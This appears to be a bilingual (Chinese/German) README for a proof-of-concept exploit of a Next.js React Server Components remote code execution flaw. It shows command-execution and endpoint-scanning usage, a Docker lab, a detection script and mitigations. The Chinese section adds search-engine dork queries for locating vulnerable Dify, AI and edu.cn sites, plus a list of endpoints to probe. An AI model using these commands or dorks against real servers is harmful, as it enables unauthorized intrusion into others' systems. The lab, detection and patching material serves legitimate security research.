
CVE-2025-66478 Proof of Concept
CVE-2025-66478 是一个影响 Next.js 应用程序的严重远程代码执行 (RCE) 漏洞,源于 React Server Components (RSC) 协议中的不安全反序列化问题。该漏洞的 CVSS 评分为 10.0(最高级别),允许未经身份验证的攻击者通过特制的 HTTP 请求在易受攻击的服务器上执行任意代码。
该漏洞源于上游 React 实现中的不安全反序列化逻辑(CVE-2025-55182),并影响使用 App Router 的 Next.js 应用程序。问题出在 React Server Components 的 "Flight" 协议中,该协议负责在服务器和客户端之间序列化和反序列化数据。
受影响的 Next.js 版本:
不受影响的版本:
攻击者只需向目标服务器发送一个特制的 HTTP 请求,其中包含恶意构造的 RSC payload。当服务器处理这个 payload 时,由于不安全的反序列化逻辑,攻击者控制的数据可以影响服务器端的执行流程,导致任意 JavaScript 代码的执行。
特别关注: Dify 等 AI 工具成为重灾区,利用成功率较高。这些应用通常使用 Next.js App Router 和 Server Components,因此容易受到此漏洞影响。
常见受影响应用类型:
此工具仅用于教育目的和安全研究。 请勿在未经授权的系统上使用。使用此工具进行任何非法活动均与作者无关。
exploit.js 是一个概念验证脚本,演示了如何构造和发送恶意的 RSC payload。这个脚本包含以下功能:
# 执行特定命令
node exploit.js <目标URL> <命令>
# 示例
node exploit.js http://localhost:3000 "whoami"
# 扫描目标应用程序中的 RSC 端点
node exploit.js <目标URL> --scan
# 示例
node exploit.js http://localhost:3000 --scan
为了安全地演示和测试此漏洞,我们提供了一个完整的 Docker 演示环境,包含一个易受攻击的 Next.js 应用程序。
Windows (PowerShell):
.\setup-demo.ps1
Linux/macOS:
chmod +x setup-demo.sh
./setup-demo.sh
# 1. 构建 Docker 镜像
docker-compose build
# 2. 启动容器
docker-compose up -d
# 3. 查看日志(可选)
docker-compose logs -f
启动后,等待几秒钟,然后访问:
使用提供的 exploit 脚本测试漏洞:
# 基本测试
node exploit.js http://localhost:3000/_rsc "echo test"
# 执行命令
node exploit.js http://localhost:3000/_rsc "whoami"
# 扫描端点
node exploit.js http://localhost:3000 --scan
演示环境包含:
# 查看日志
docker-compose logs -f
# 停止环境
docker-compose down
# 停止并删除数据
docker-compose down -v
# 重启环境
docker-compose restart
⚠️ 重要警告:
test-vulnerability.js 是一个用于检测应用程序是否受此漏洞影响的工具。它会执行以下检查:
# 测试目标应用程序
node test-vulnerability.js <目标URL>
# 示例
node test-vulnerability.js http://localhost:3000
升级 Next.js:将 Next.js 升级到最新版本,该版本已修复此漏洞
npm install next@latest
# 或
yarn upgrade next@latest
# 或
pnpm update next@latest
验证修复:使用 test-vulnerability.js 工具验证修复是否成功
node test-vulnerability.js <目标URL>
如果无法立即升级,可以考虑以下临时缓解措施:
使用 Pages Router:将受影响的路由迁移到 Pages Router,该路由不受此漏洞影响
启用 Edge Runtime:为受影响的路由启用 Edge Runtime,该运行时不受此漏洞影响
// 在页面组件或布局中
export const runtime = 'edge';
该漏洞利用了 React Server Components "Flight" 协议中的不安全反序列化逻辑。当服务器接收到客户端发送的 RSC 请求时,它会反序列化包含组件数据的 payload。由于反序列化过程中缺乏充分的验证,攻击者可以构造恶意 payload,导致服务器执行任意 JavaScript 代码。
要利用此漏洞,攻击者需要满足以下条件:
成功利用此漏洞可以导致:
# 搜索 Next.js 应用(通用)
body="NEXT_DATA" && body="version"
# 搜索 AI 相关应用(Dify 等)
body="NEXT_DATA" && (body="AI" || body="人工智能" || body="大模型" || body="LLM")
# 搜索 Dify 应用
body="NEXT_DATA" && (body="dify" || title="Dify" || body="dify.ai")
# 组合搜索
body="NEXT_DATA" && (body="AI" || body="人工智能") && domain="edu.cn"
# 搜索教育机构中的 Next.js 应用
(web.title="Next.js" OR web.body="NEXT_DATA") && domain="edu.cn"
/_rsc - React Server Components 端点/api/rsc - API RSC 端点/api/chat - Dify 等 AI 工具的聊天端点/api/completion - 完成端点/api/v1/chat - API v1 聊天端点/server-actions - Server Actions 端点CVE-2025-66478 ist eine kritische Remote-Code-Execution-Schwachstelle (RCE), die Next.js-Anwendungen betrifft und auf unsicherer Deserialisierung im React-Server-Components-Protokoll (RSC) beruht. Mit einem CVSS-Score von 10.0 (dem höchstmöglichen Wert) ermöglicht sie nicht authentifizierten Angreifern, über speziell konstruierte HTTP-Anfragen beliebigen Code auf verwundbaren Servern auszuführen.
Die Schwachstelle hat ihren Ursprung in einer unsicheren Deserialisierungslogik in der vorgelagerten React-Implementierung (CVE-2025-55182) und betrifft Next.js-Anwendungen, die den App Router verwenden. Das Problem liegt im "Flight"-Protokoll der React Server Components, das für die Serialisierung und Deserialisierung von Daten zwischen Server und Client verantwortlich ist.
Betroffene Next.js-Versionen:
Nicht betroffene Versionen:
Ein Angreifer muss lediglich eine speziell konstruierte HTTP-Anfrage mit einer bösartigen RSC-Payload an den Zielserver senden. Wenn der Server diese Payload verarbeitet, können die vom Angreifer kontrollierten Daten aufgrund der unsicheren Deserialisierungslogik den serverseitigen Ausführungsablauf beeinflussen, was zur Ausführung beliebigen JavaScript-Codes führt.
Dieses Tool dient ausschließlich zu Bildungszwecken und für Sicherheitsforschung. Verwenden Sie es nicht auf nicht autorisierten Systemen. Jegliche illegalen Aktivitäten, die mit diesem Tool durchgeführt werden, stehen in keinem Zusammenhang mit dem Autor.
exploit.js ist ein Proof-of-Concept-Skript, das demonstriert, wie bösartige RSC-Payloads konstruiert und gesendet werden. Dieses Skript umfasst die folgenden Funktionen:
# Execute specific command
node exploit.js <target-url> <command>
# Example
node exploit.js http://localhost:3000 "whoami"
# Scan target application for RSC endpoints
node exploit.js <target-url> --scan
# Example
node exploit.js http://localhost:3000 --scan
Um diese Schwachstelle sicher zu demonstrieren und zu testen, stellen wir eine vollständige Docker-Demo-Umgebung mit einer verwundbaren Next.js-Anwendung bereit.
Windows (PowerShell):
.\setup-demo.ps1
Linux/macOS:
chmod +x setup-demo.sh
./setup-demo.sh
# 1. Build Docker image
docker-compose build
# 2. Start container
docker-compose up -d
# 3. View logs (optional)
docker-compose logs -f
Nach dem Start einige Sekunden warten und dann aufrufen:
Verwenden Sie das bereitgestellte Exploit-Skript, um die Schwachstelle zu testen:
# Basic test
node exploit.js http://localhost:3000/_rsc "echo test"
# Execute command
node exploit.js http://localhost:3000/_rsc "whoami"
# Scan endpoints
node exploit.js http://localhost:3000 --scan
Die Demo-Umgebung umfasst:
# View logs
docker-compose logs -f
# Stop environment
docker-compose down
# Stop and remove data
docker-compose down -v
# Restart environment
docker-compose restart
⚠️ Wichtige Warnungen:
test-vulnerability.js ist ein Werkzeug zur Erkennung, ob eine Anwendung von dieser Schwachstelle betroffen ist. Es führt die folgenden Prüfungen durch:
# Test target application
node test-vulnerability.js <target-url>
# Example
node test-vulnerability.js http://localhost:3000
Next.js aktualisieren: Aktualisieren Sie Next.js auf die neueste Version, die einen Fix für diese Schwachstelle enthält.
npm install next@latest
# or
yarn upgrade next@latest
# or
pnpm update next@latest
Fix überprüfen: Verwenden Sie das Tool test-vulnerability.js, um zu überprüfen, ob der Fix erfolgreich war.
node test-vulnerability.js <target-url>
Wenn eine sofortige Aktualisierung nicht möglich ist, sollten Sie die folgenden vorübergehenden Maßnahmen in Betracht ziehen:
Pages Router verwenden: Migrieren Sie betroffene Routen zum Pages Router, der von dieser Schwachstelle nicht betroffen ist
Edge Runtime aktivieren: Aktivieren Sie Edge Runtime für betroffene Routen, die von dieser Schwachstelle nicht betroffen sind
// In page component or layout
export const runtime = 'edge';
Die Schwachstelle nutzt unsichere Deserialisierungslogik im "Flight"-Protokoll der React Server Components. Wenn ein Server eine RSC-Anfrage von einem Client empfängt, deserialisiert er die Payload, die Komponentendaten enthält. Aufgrund unzureichender Validierung während der Deserialisierung können Angreifer bösartige Payloads konstruieren, die den Server dazu veranlassen, beliebigen JavaScript-Code auszuführen.
Um diese Schwachstelle auszunutzen, muss ein Angreifer:
Eine erfolgreiche Ausnutzung kann zu Folgendem führen: